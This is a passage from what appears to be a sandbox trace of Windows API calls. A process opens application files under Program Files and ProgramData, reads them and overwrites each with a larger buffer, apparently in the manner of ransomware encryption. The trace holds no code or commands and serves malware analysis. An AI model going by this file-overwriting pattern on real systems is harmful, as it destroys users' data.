| out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0051.209] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.209] ReleaseMutex (hMutex=0x128) returned 1 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Wake", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Wake", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wake", lpUsedDefaultChar=0x0) returned 4 [0051.209] ReadFile (in: hFile=0x198, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0051.210] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.210] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0051.210] CloseHandle (hObject=0x198) returned 1 [0051.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.211] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.211] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b [0051.211] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.211] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.211] ReleaseMutex (hMutex=0x128) returned 1 [0051.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST7", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0051.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST7", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MST7", lpUsedDefaultChar=0x0) returned 4 [0051.211] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x2a0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0051.212] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.212] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0051.212] CloseHandle (hObject=0x198) returned 1 [0051.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1fa [0051.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.213] ReleaseMutex (hMutex=0x128) returned 1 [0051.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="release", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="release", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="release", lpUsedDefaultChar=0x0) returned 7 [0051.213] ReadFile (in: hFile=0x198, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2a0f2bc*=0x1fa, lpOverlapped=0x0) returned 1 [0051.214] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.214] WriteFile (in: hFile=0x198, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x782, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x782, lpOverlapped=0x0) returned 1 [0051.214] CloseHandle (hObject=0x198) returned 1 [0051.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.217] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.217] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7d92 [0051.217] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.217] ReleaseMutex (hMutex=0x128) returned 1 [0051.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql70.xsl", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql70.xsl", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sql70.xsl", lpUsedDefaultChar=0x0) returned 9 [0051.217] ReadFile (in: hFile=0x198, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.219] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6d92 [0051.219] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.220] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6d92 [0051.220] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.220] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0051.220] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.220] CloseHandle (hObject=0x198) returned 1 [0051.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe", lpFilePart=0x2a0f690*="icq.exe") returned 0x2c [0051.221] GetLastError () returned 0x20 [0051.221] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x51 [0051.221] LocalFree (hMem=0x70da60) returned 0x0 [0051.221] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0051.221] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0051.221] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.221] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.221] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe")) returned 0x20 [0051.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x166 [0051.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.223] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.223] ReleaseMutex (hMutex=0x128) returned 1 [0051.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="channel-prefs.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="channel-prefs.js", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="channel-prefs.js", lpUsedDefaultChar=0x0) returned 16 [0051.223] ReadFile (in: hFile=0x198, lpBuffer=0x2635928, nNumberOfBytesToRead=0x166, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x2a0f2bc*=0x166, lpOverlapped=0x0) returned 1 [0051.224] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.224] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ee, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6ee, lpOverlapped=0x0) returned 1 [0051.224] CloseHandle (hObject=0x198) returned 1 [0051.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\outlook.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\outlook.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\outlook.exe", lpFilePart=0x2a0f690*="outlook.exe") returned 0x32 [0051.224] GetLastError () returned 0x20 [0051.224] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x51 [0051.224] LocalFree (hMem=0x70da60) returned 0x0 [0051.224] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0051.224] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0051.225] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.225] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.225] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\outlook.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\outlook.exe")) returned 0x20 [0051.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.873] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.873] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x89 [0051.873] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.873] ReleaseMutex (hMutex=0x128) returned 1 [0051.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="update-settings.ini", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0051.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="update-settings.ini", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="update-settings.ini", lpUsedDefaultChar=0x0) returned 19 [0051.874] ReadFile (in: hFile=0x1a8, lpBuffer=0x257e318, nNumberOfBytesToRead=0x89, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x2a0f2bc*=0x89, lpOverlapped=0x0) returned 1 [0051.874] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.874] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x611, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x611, lpOverlapped=0x0) returned 1 [0051.875] CloseHandle (hObject=0x1a8) returned 1 [0051.875] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\isspos.exe" (normalized: "c:\\program files (x86)\\msbuild\\isspos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\isspos.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\isspos.exe", lpFilePart=0x2a0f690*="isspos.exe") returned 0x29 [0051.875] GetLastError () returned 0x20 [0051.875] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x51 [0051.875] LocalFree (hMem=0x70da60) returned 0x0 [0051.875] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0051.875] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0051.875] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.875] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\isspos.exe" (normalized: "c:\\program files (x86)\\msbuild\\isspos.exe")) returned 0x20 [0051.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\wab.exe", lpFilePart=0x2a0f690*="wab.exe") returned 0x2b [0051.876] GetLastError () returned 0x5 [0051.876] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿠qʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x13 [0051.876] LocalFree (hMem=0x71afe0) returned 0x0 [0051.876] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0051.876] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0051.876] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.876] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0051.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe")) returned 0x20 [0051.876] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.877] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.877] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1df [0051.877] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.877] ReleaseMutex (hMutex=0x128) returned 1 [0051.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directories.acrodata", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directories.acrodata", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directories.acrodata", lpUsedDefaultChar=0x0) returned 20 [0051.877] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1df, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2a0f2bc*=0x1df, lpOverlapped=0x0) returned 1 [0051.878] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.878] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x767, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x767, lpOverlapped=0x0) returned 1 [0051.879] CloseHandle (hObject=0x1a8) returned 1 [0051.879] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.879] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.879] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x17c [0051.879] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.879] ReleaseMutex (hMutex=0x128) returned 1 [0051.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATHEDITOR.14.1033.hxn", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0051.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATHEDITOR.14.1033.hxn", cchWideChar=29, lpMultiByteStr=0x1e7fb1c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.INFOPATHEDITOR.14.1033.hxn", lpUsedDefaultChar=0x0) returned 29 [0051.879] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2a0f2bc*=0x17c, lpOverlapped=0x0) returned 1 [0051.880] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.880] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x704, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x704, lpOverlapped=0x0) returned 1 [0051.880] CloseHandle (hObject=0x1a8) returned 1 [0051.880] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: 